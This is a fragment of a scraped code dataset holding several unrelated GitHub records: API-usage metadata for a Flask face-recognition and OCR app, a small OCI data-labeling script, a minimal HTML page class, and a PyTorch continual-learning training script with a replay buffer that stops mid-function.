"usage_type": "call"}, {"api_name": "flask_bootstrap.Bootstrap", "line_number": 53, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 55, "usage_type": "call"}, {"api_name": "flask_login.LoginManager", "line_number": 56, "usage_type": "call"}, {"api_name": "flask_login.UserMixin", "line_number": 67, "usage_type": "name"}, {"api_name": "flask.g", "line_number": 80, "usage_type": "argument"}, {"api_name": "flask.g._database", "line_number": 82, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 82, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 82, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 90, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 91, "usage_type": "call"}, {"api_name": "wtforms.validators.InputRequired", "line_number": 91, "usage_type": "call"}, {"api_name": "wtforms.validators.Length", "line_number": 91, "usage_type": "call"}, {"api_name": "wtforms.PasswordField", "line_number": 92, "usage_type": "call"}, {"api_name": "wtforms.validators.InputRequired", "line_number": 92, "usage_type": "call"}, {"api_name": "wtforms.validators.Length", "line_number": 92, "usage_type": "call"}, {"api_name": "wtforms.BooleanField", "line_number": 93, "usage_type": "call"}, {"api_name": "flask_wtf.FlaskForm", "line_number": 95, "usage_type": "name"}, {"api_name": "wtforms.StringField", "line_number": 96, "usage_type": "call"}, {"api_name": "wtforms.validators.InputRequired", "line_number": 96, "usage_type": "call"}, {"api_name": "wtforms.validators.Length", "line_number": 96, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 97, "usage_type": "call"}, {"api_name": "wtforms.validators.InputRequired", "line_number": 97, "usage_type": "call"}, {"api_name": "wtforms.validators.Length", "line_number": 97, "usage_type": "call"}, {"api_name": "wtforms.StringField", "line_number": 98, "usage_type": "call"}, {"api_name": "wtforms.validators.InputRequired", "line_number": 98, "usage_type": "call"}, {"api_name": "wtforms.validators.Length", "line_number": 98, "usage_type": "call"}, {"api_name": "wtforms.PasswordField", "line_number": 99, "usage_type": "call"}, {"api_name": "wtforms.validators.InputRequired", "line_number": 99, "usage_type": "call"}, {"api_name": "wtforms.validators.Length", "line_number": 99, "usage_type": "call"}, {"api_name": "flask_wtf.file.FileField", "line_number": 100, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 112, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.calcHist", "line_number": 124, "usage_type": "call"}, {"api_name": "cv2.calcHist", "line_number": 125, "usage_type": "call"}, {"api_name": "cv2.compareHist", "line_number": 127, "usage_type": "call"}, {"api_name": "cv2.HISTCMP_BHATTACHARYYA", "line_number": 127, "usage_type": "attribute"}, {"api_name": "cv2.matchTemplate", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.TM_CCOEFF_NORMED", "line_number": 128, "usage_type": "attribute"}, {"api_name": "request_id.RequestIdMiddleware", "line_number": 140, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 157, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 163, "usage_type": "call"}, {"api_name": "src.constants.upload_folder", "line_number": 163, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 164, "usage_type": "call"}, {"api_name": "src.constants.upload_folder", "line_number": 164, "usage_type": "argument"}, {"api_name": "os.path.exists", "line_number": 165, "usage_type": "call"}, {"api_name": "src.constants.frames_folder", "line_number": 165, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 165, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 166, "usage_type": "call"}, {"api_name": "src.constants.frames_folder", "line_number": 166, "usage_type": "argument"}, {"api_name": "request_id.get_request_id", "line_number": 169, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 169, "usage_type": "argument"}, {"api_name": "os.path.join", "line_number": 173, "usage_type": "call"}, {"api_name": "src.constants.upload_folder", "line_number": 173, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 173, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 174, "usage_type": "call"}, {"api_name": "src.constants.frames_folder", "line_number": 174, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 174, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 175, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 176, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 204, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 204, "usage_type": "name"}, {"api_name": "src.constants.source_type_image", "line_number": 206, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 207, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 207, "usage_type": "name"}, {"api_name": "src.constants.source_type_video", "line_number": 209, "usage_type": "name"}, {"api_name": "src.constants.ALLOWED__PICTURE_EXTENSIONS", "line_number": 214, "usage_type": "argument"}, {"api_name": "src.constants.source_type_image", "line_number": 215, "usage_type": "name"}, {"api_name": "src.constants.ALLOWED_VIDEO_EXTENSIONS", "line_number": 216, "usage_type": "argument"}, {"api_name": "src.constants.source_type_video", "line_number": 217, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 231, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 231, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 232, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 232, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 246, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 246, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 247, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 247, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 248, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 248, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 248, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 252, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 252, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 253, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 257, "usage_type": "call"}, {"api_name": "os.path", "line_number": 257, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 258, "usage_type": "call"}, {"api_name": "os.path", "line_number": 258, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 264, "usage_type": "call"}, {"api_name": "os.path", "line_number": 264, "usage_type": "attribute"}, {"api_name": "os.stat", "line_number": 269, "usage_type": "call"}, {"api_name": "src.constants.image_size_threshold", "line_number": 271, "usage_type": "name"}, {"api_name": "src.constants.image_size_threshold", "line_number": 272, "usage_type": "argument"}, {"api_name": "cv2.imread", "line_number": 273, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 274, "usage_type": "call"}, {"api_name": "cv2.INTER_AREA", "line_number": 274, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 275, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 276, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 278, "usage_type": "call"}, {"api_name": "src.constants.max_resize", "line_number": 278, "usage_type": "name"}, {"api_name": "src.constants.max_resize", "line_number": 279, "usage_type": "argument"}, {"api_name": "cv2.imread", "line_number": 280, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 281, "usage_type": "call"}, {"api_name": "cv2.INTER_CUBIC", "line_number": 281, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 282, "usage_type": "call"}, {"api_name": "os.stat", "line_number": 283, "usage_type": "call"}, {"api_name": "src.OCR.crop_morphology.crop_morphology", "line_number": 285, "usage_type": "call"}, {"api_name": "src.face_processing.compare_face", "line_number": 288, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 299, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 311, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 315, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 315, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 316, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 316, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 317, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 317, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 319, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 319, "usage_type": "attribute"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 322, "usage_type": "call"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 323, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 326, "usage_type": "call"}, {"api_name": "os.path", "line_number": 326, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 327, "usage_type": "call"}, {"api_name": "os.path", "line_number": 327, "usage_type": "attribute"}, {"api_name": "flask.render_template", "line_number": 341, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 343, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 347, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 351, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 357, "usage_type": "call"}, {"api_name": "werkzeug.security.check_password_hash", "line_number": 377, "usage_type": "call"}, {"api_name": "flask_login.login_user", "line_number": 378, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 379, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 379, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 382, "usage_type": "call"}, {"api_name": "werkzeug.security.generate_password_hash", "line_number": 390, "usage_type": "call"}, {"api_name": "werkzeug.utils.secure_filename", "line_number": 393, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 394, "usage_type": "call"}, {"api_name": "os.path", "line_number": 394, "usage_type": "attribute"}, {"api_name": "os.path.getsize", "line_number": 398, "usage_type": "call"}, {"api_name": "os.path", "line_number": 398, "usage_type": "attribute"}, {"api_name": "os.rename", "line_number": 400, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 400, "usage_type": "call"}, {"api_name": "os.path", "line_number": 400, "usage_type": "attribute"}, {"api_name": "flask.request.remote_addr", "line_number": 401, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 401, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 405, "usage_type": "call"}, {"api_name": "flask.send_file", "line_number": 416, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 416, "usage_type": "call"}, {"api_name": "os.path", "line_number": 416, "usage_type": "attribute"}, {"api_name": "flask.jsonify", "line_number": 426, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 435, "usage_type": "call"}, {"api_name": "datetime.date.today", "line_number": 440, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 440, "usage_type": "name"}, {"api_name": "flask.g", "line_number": 450, "usage_type": "argument"}, {"api_name": "flask.render_template", "line_number": 457, "usage_type": "call"}, {"api_name": "flask_login.current_user.username", "line_number": 457, "usage_type": "attribute"}, {"api_name": "flask_login.current_user", "line_number": 457, "usage_type": "name"}, {"api_name": "flask_login.login_required", "line_number": 455, "usage_type": "name"}, {"api_name": "flask_login.logout_user", "line_number": 463, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 464, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 464, "usage_type": "call"}, {"api_name": "flask_login.login_required", "line_number": 461, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 468, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 472, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 475, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 479, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 485, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 485, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 486, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 486, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 486, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 487, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 487, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 487, "usage_type": "name"}, {"api_name": "face_recognition_and_liveness.face_liveness_detection.face_recognition_liveness_app.recognition_liveness", "line_number": 499, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 506, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 508, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 510, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 512, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 514, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 520, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 524, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 524, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 525, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 525, "usage_type": "attribute"}, {"api_name": "flask.request.form", "line_number": 526, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 526, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 527, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 527, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 528, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 528, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 529, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 529, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 530, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 530, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 531, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 531, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 537, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 537, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 537, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 537, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 560, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 562, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 562, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 568, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 568, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 572, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 573, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 574, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 589, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 589, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 590, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 590, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 590, "usage_type": "name"}, {"api_name": "flask.request.form.getlist", "line_number": 591, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 591, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 591, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 592, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 592, "usage_type": "attribute"}, {"api_name": "flask.request.files", "line_number": 593, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 593, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 594, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 594, "usage_type": "name"}, {"api_name": "pytesseract.image_to_string", "line_number": 595, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 595, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 595, "usage_type": "name"}, {"api_name": "io.BytesIO", "line_number": 595, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 612, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 614, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 614, "usage_type": "attribute"}, {"api_name": "flask.redirect", "line_number": 619, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 619, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 624, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 625, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 626, "usage_type": "call"}, {"api_name": "flask.request.files", "line_number": 639, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 639, "usage_type": "name"}, {"api_name": "cv2.imdecode", "line_number": 646, "usage_type": "call"}, {"api_name": "numpy.fromstring", "line_number": 646, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 646, "usage_type": "attribute"}, {"api_name": "cv2.IMREAD_UNCHANGED", "line_number": 646, "usage_type": "attribute"}, {"api_name": "cv2.imencode", "line_number": 667, "usage_type": "call"}, {"api_name": "base64.encodebytes", "line_number": 668, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 671, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 682, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 682, "usage_type": "attribute"}, {"api_name": "cv2.CascadeClassifier", "line_number": 686, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 712, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 745, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 746, "usage_type": "call"}, {"api_name": "pytesseract.pytesseract", "line_number": 750, "usage_type": "attribute"}]} {"seq_id": "16791054681", "text": "import datetime\nimport sys\nsys.path.append(\"..\")\nfrom config import *\nimport dls_create_annotation\n\ndef letter_to_label(letter):\n\tfor l in labels:\n\t\tif letter == l[0] or letter.lower() == l[0]:\n\t\t\treturn l \n\ndef main(name, record_id):\n\tlabel = letter_to_label(letter=name[0])\n\tif label:\n\t\tdls_create_annotation.main(label=label, record_id=record_id)\n\telse:\n\t\tprint(\"current time: \" + str(datetime.datetime.now()))\n\t\tprint(\"No label match for record \" + str(name))\n\t\tprint(\"with id: \" + str(record_id))\n\t\tprint()", "repo_name": "scacela/oci-dls-bulk-labeling", "sub_path": "labeling_schemes/first_letter.py", "file_name": "first_letter.py", "file_ext": "py", "file_size_in_byte": 511, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.path.append", "line_number": 3, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "dls_create_annotation.main", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 17, "usage_type": "attribute"}]} {"seq_id": "33761460370", "text": "from data import Data\nclass Page(object):\n def __init__(self):\n\n self.__head = '''\n\nHello\n\n '''\n\n self.__content = '''\n Lannister\n Stark\n GreyJoy\n Targaryen\n Tully\n '''\n self.data = Data()\n self.data2 = \"Hello\"\n self.__close = '''\n\n\n '''\n\n\n @property\n def print_out(self):\n return self.__head + self.__content + self.__close\n\n\n\n\n\n\n\n", "repo_name": "konsherman/DWP", "sub_path": "final/page.py", "file_name": "page.py", "file_ext": "py", "file_size_in_byte": 657, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "data.Data", "line_number": 18, "usage_type": "call"}]} {"seq_id": "14250726343", "text": "import sys\nimport time\nimport os\nimport numpy as np\nimport argparse\nimport pandas as pd\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom PIL import Image\nfrom data import BatchData, AverageMeter\nfrom torchvision import transforms\n\nfrom replay import *\nfrom mobilenet import *\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\navg_acc = 0\ntest_name = \"EfficientNetReplay\"\ndef clip_gradient(optimizer, grad_clip):\n\t\"\"\"\n\tClips gradients computed during backpropagation to avoid explosion of gradients.\n\t:param optimizer: optimizer with the gradients to be clipped\n\t:param grad_clip: clip value\n\t\"\"\"\n\tfor group in optimizer.param_groups:\n\t\tfor param in group['params']:\n\t\t\tif param.grad is not None:\n\t\t\t\tparam.grad.data.clamp_(-grad_clip, grad_clip)\n\ndef save_ckpt(loss, lr_log, top1, batch, net, epoch, total):\n\t\n\ttorch.save(net.state_dict(), 'batch_q{}'.format(batch,epoch))\n\tf = open(\"losses.txt\", \"a\")\n\tf.write('Batch{}, Epoch{}, LR:{}, Loss :{}, top1:{}'.format(batch, epoch, lr_log, loss.avg, top1.avg))\n\tf.write(\"\\n\")\n\tf.close()\n\ndef train(train_loader, val_loader, train_task, model, criterion, optimizer, epoch, par, replay, flag, args):\n\tbatch_time = AverageMeter()\n\tdata_time = AverageMeter()\n\tlosses = AverageMeter()\n\ttop1 = AverageMeter()\n\ttop5 = AverageMeter()\n\tval=[1]\n\t\n\tif val_loader:\n\t\tval = [data for data in replay]\n\t \n\tprint(len(val))\n\tfor param_group in optimizer.param_groups:\n\t\tlr_log = param_group['lr']\n\n\tf = 0\n\n\ttotal_norm = 0\n\tend = time.time()\n\ti = -1\n\tif flag:\n\t\tfor data in train_loader[0]:\n\t\t\ti+=1\n\t\t\t# measure data loading time\n\t\t \n\t\t\tinput_var, target_var = data\n\t\t\tinput_var, target_var = input_var.to(device), target_var.to(device)\n\t\t\tdata_time.update(time.time() - end)\n\t\t\t\n\n\t\t\t\n\t\t\tfor p in par:\n\t\t\t\ttotal_norm += torch.sum(torch.abs(p))\n\t\t\ttotal_norm = total_norm ** (1. / 2)\n\n\t\t\t# compute output\n\t\t\toutput = model(input_var)\n\n\t\t\tloss = criterion(output, target_var)\n\n\t\t\t# measure accuracy and record loss\n\t\t\tprec1= accuracy(output.data, target_var)\n\t\t \n\t\t\tlosses.update(loss.item())\n\t\t\ttop1.update(prec1[0])\n\n\t\t \n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\t\n\t\t\toptimizer.step()\n\t\t\t# print(\"Memory\", torch.cuda.memory_allocated()/1e9, torch.cuda.max_memory_allocated()/1e9)\n\t\t\t\n\n\t\t\t# measure elapsed time\n\t\t\tbatch_time.update(time.time() - end)\n\t\t\tend = time.time()\n\n\t\t\tif i % args.disp_iter == 0:\n\t\t\t\tprint('Batch: {batch} '\n\t\t\t\t\t'Epoch: [{0}][{1}/{2}] '\n\t\t\t\t\t'LR: {lr}'\n\t\t\t\t\t 'Time {batch_time.val:.3f} ({batch_time.avg:.3f}) '\n\t\t\t\t\t 'Data {data_time.val:.3f} ({data_time.avg:.3f}) '\n\t\t\t\t\t 'Loss {loss.val:.7f} ({loss.avg:.4f}) '\n\t\t\t\t\t 'Prec@1 {top1.val:.3f} ({top1.avg:.3f}) '\n\t\t\t\t\t 'Grad:{norm}'.format(\n\t\t\t\t\t epoch, i, len(train_loader[0]), batch_time=batch_time,\n\t\t\t\t\t data_time=data_time, loss=losses, top1=top1, batch=train_task, norm=total_norm, lr=lr_log))\n\n\t\t\tif val_loader and len(val):\n\t\t\t\t\n\t\t\t\tinput_var, target_var = val[f]\n\t\t\t\tinput_var, target_var = input_var.to(device), target_var.to(device)\n\t\t\t\toutput = model(input_var)\n\t\t\t\t#output = metric_fc(feature, target_var)\n\t\t\t\tloss = criterion(output, target_var) \n\t\t\t\t# measure accuracy and record loss\n\t\t\t\tprec1= accuracy(output.data, target_var)\n\t\t\t \n\t\t\t\tlosses.update(loss.item())\n\t\t\t\ttop1.update(prec1[0])\n\t\t\t\t\n\t\t\t\t#compute gradient and do SGD step\n\t\t\t\tf=(f +1)%(len(val))\n\t\t\t\toptimizer.zero_grad()\n\t\t\t\tloss.backward()\n\t\t\t\toptimizer.step()\n\t\t\t\tif i % args.disp_iter == 0:\n\t\t\t\t\tprint('Batch_Replay: {batch} '\n\t\t\t\t\t\t'Epoch: [{0}][{1}/{2}] '\n\t\t\t\t\t\t'LR: {lr}'\n\t\t\t\t\t\t 'Data {data_time.val:.3f} ({data_time.avg:.3f}) '\n\t\t\t\t\t\t 'Loss {loss.val:.7f} ({loss.avg:.4f}) '\n\t\t\t\t\t\t 'Prec@1 {top1.val:.3f} ({top1.avg:.3f}) '\n\t\t\t\t\t\t 'Grad:{norm}'.format(\n\t\t\t\t\t\t epoch, i, len(train_loader[0]),\n\t\t\t\t\t\t data_time=data_time, loss=losses, top1=top1, batch=train_task, norm=total_norm, lr=lr_log))\n\n\t\t\t \n\n\tif len(val) > len(train_loader[0]):\n\t\tfor j in range(f, len(val)):\n\t\t\tinput_var, target_var = val[j]\n\t\t\tinput_var, target_var = input_var.to(device), target_var.to(device)\n\t\t\t\n\t\t\tfor p in par:\n\t\t\t\ttotal_norm += torch.sum(torch.abs(p))\n\t\t\ttotal_norm = total_norm ** (1. / 2)\n\n\t\t\toutput = model(input_var)\n\t\t\tloss = criterion(output, target_var)\n\t\t\t# measure accuracy and record loss\n\t\t\tprec1= accuracy(output.data, target_var)\n\t\t \n\t\t\tlosses.update(loss.item())\n\t\t\ttop1.update(prec1[0])\n\t\t\t\n\t\t\toptimizer.zero_grad()\n\t\t\tloss.backward()\n\t\t\t\n\t\t\toptimizer.step()\n\t\t \n\n\t\t\t# measure elapsed time\n\t\t\tbatch_time.update(time.time() - end)\n\t\t\tend = time.time()\n\t\t\tif j % args.disp_iter == 0:\n\t\t\t\tprint('Batch: {batch} '\n\t\t\t\t\t'Epoch: [{0}][{1}/{2}] '\n\t\t\t\t\t'LR: {lr}'\n\t\t\t\t\t 'Time {batch_time.val:.3f} ({batch_time.avg:.3f}) '\n\t\t\t\t\t 'Loss {loss.val:.7f} ({loss.avg:.4f}) '\n\t\t\t\t\t 'Prec@1 {top1.val:.3f} ({top1.avg:.3f}) '\n\t\t\t\t\t 'Grad:{norm}'.format(\n\t\t\t\t\t epoch, i, len(val_loader[0]), batch_time=batch_time,\n\t\t\t\t\t loss=losses, top1=top1, batch=train_task, norm=total_norm, lr=lr_log))\n\n\t\t\t\n\n\tadjust_learning_rate(optimizer, epoch)\n\tif epoch%1 == 0:\n\t\tsave_ckpt(losses, lr_log, top1, train_task, model, epoch, args.num_epoch)\n\n\treturn losses\n\n\ndef val_acc(val_loader, model):\n\tacc_list = []\n\ttop1 = AverageMeter()\n\tfor data in val_loader[0]:\n\t\t\n\t\n\t\tinput_var, target_var = data\n\t\tinput_var, target_var = input_var.to(device), target_var.to(device)\n\n\t\toutput = model(input_var)\n\t\n\t\tprec1 = accuracy(output.data, target_var)\n\t\ttop1.update(prec1[0])\n\n\treturn top1.avg\n\t\t\n\ndef validate(val_loader, model, criterion, batch,task, viw, replay):\n\tglobal avg_acc\n\tlosses = AverageMeter()\n\ttop1 = AverageMeter()\n\ti = 0\n\tacc_list = []\n \n\tfor data, d1 in zip(val_loader[0], viw):\n\t\t\n\t\t\t\n\t\ti+=1\n\t\t\n\t\tinput_var, target_var = data\n\t\tinput_var, target_var = input_var.to(device), target_var.to(device)\n\n\t\toutput = model(input_var)\n\t\tloss = criterion(output, target_var)\n\t\tprec1 = accuracy(output.data, target_var)\n\t\tacc_list.append(prec1[0].cpu())\n\t\tlosses.update(loss.item())\n\t\ttop1.update(prec1[0])\n\tprint(\"Replay:\", len(replay.replaybuffer), \"Task:\", task)\n\tif batch == task:\n\t\t\n\t\treplay.update_best(list(np.array(acc_list)), task)\n\t \n\tif batch < task:\n\t\tprint(len(val_loader[1]))\n\t\treplay.update_replay(acc_list, val_loader[1], val_loader[2], batch, task)\n\tprint('Batch:{} '\n\t\t 'Acc:{} '\n\t\t 'Loss:{} '.format(batch, top1.avg, losses.avg))\n\tf = open(\"val.txt\", \"a\")\n\tf.write('Trained Batch: {}'.format(task))\n\tf.write(\"\\n\")\n\tf.write('Batch{}, Loss :{}, top1:{}'.format(batch,losses.avg, top1.avg))\n\tf.write(\"\\n\")\n\tf.close()\n\n\tavg_acc = (avg_acc*(batch) + top1.avg)/(batch+1)\n\tprint(avg_acc)\n\treturn replay\n\ndef group_weight(module):\n\tgroup_decay = []\n\tgroup_no_decay = []\n\tfor m in module.modules():\n\t\tif isinstance(m, nn.Linear):\n\t\t\tgroup_decay.append(m.weight)\n\t\t\tif m.bias is not None:\n\t\t\t\tgroup_no_decay.append(m.bias)\n\t\telif isinstance(m, nn.modules.conv._ConvNd):\n\t\t\tgroup_decay.append(m.weight)\n\t\t\tif m.bias is not None:\n\t\t\t\tgroup_no_decay.append(m.bias)\n\t\telif isinstance(m, nn.modules.batchnorm._BatchNorm):\n\t\t\tif m.weight is not None:\n\t\t\t\tgroup_no_decay.append(m.weight)\n\t\t\tif m.bias is not None:\n\t\t\t\tgroup_no_decay.append(m.bias)\n\t \n\n\tassert len(list(module.parameters())) == len(group_decay) + len(group_no_decay)\n\tparam_m = group_decay + group_no_decay\n\n\tgroups = [dict(params=group_decay), dict(params=group_no_decay, weight_decay=.0)]\n\t# print(groups)\n\treturn groups, param_m\n\n\n\n\ndef adjust_learning_rate(optimizer, epoch):\n\t\"\"\"Sets the learning rate to the initial LR decayed by 10 every 30 epochs\"\"\"\n\tlr = args.lr * (0.98 ** (epoch))\n\tfor param_group in optimizer.param_groups:\n\t\tparam_group['lr'] = lr\n\n\n\ndef accuracy(output, target, topk=(1,)):\n\t\"\"\"Computes the precision@k for the specified values of k\"\"\"\n\tmaxk = max(topk)\n\tbatch_size = target.size(0)\n\n\t_, pred = output.topk(maxk, 1, True, True)\n\tpred = pred.t()\n\tcorrect = pred.eq(target.view(1, -1).expand_as(pred))\n\n\tres = []\n\tfor k in topk:\n\t\tcorrect_k = correct[:k].view(-1).float().sum(0)\n\t\tres.append(correct_k.mul_(100.0 / batch_size))\n\treturn res\n\n\ndef create_optimizer(net, args):\n\tgrouped, par = group_weight(net)\n\toptimizer = torch.optim.RMSprop(grouped, 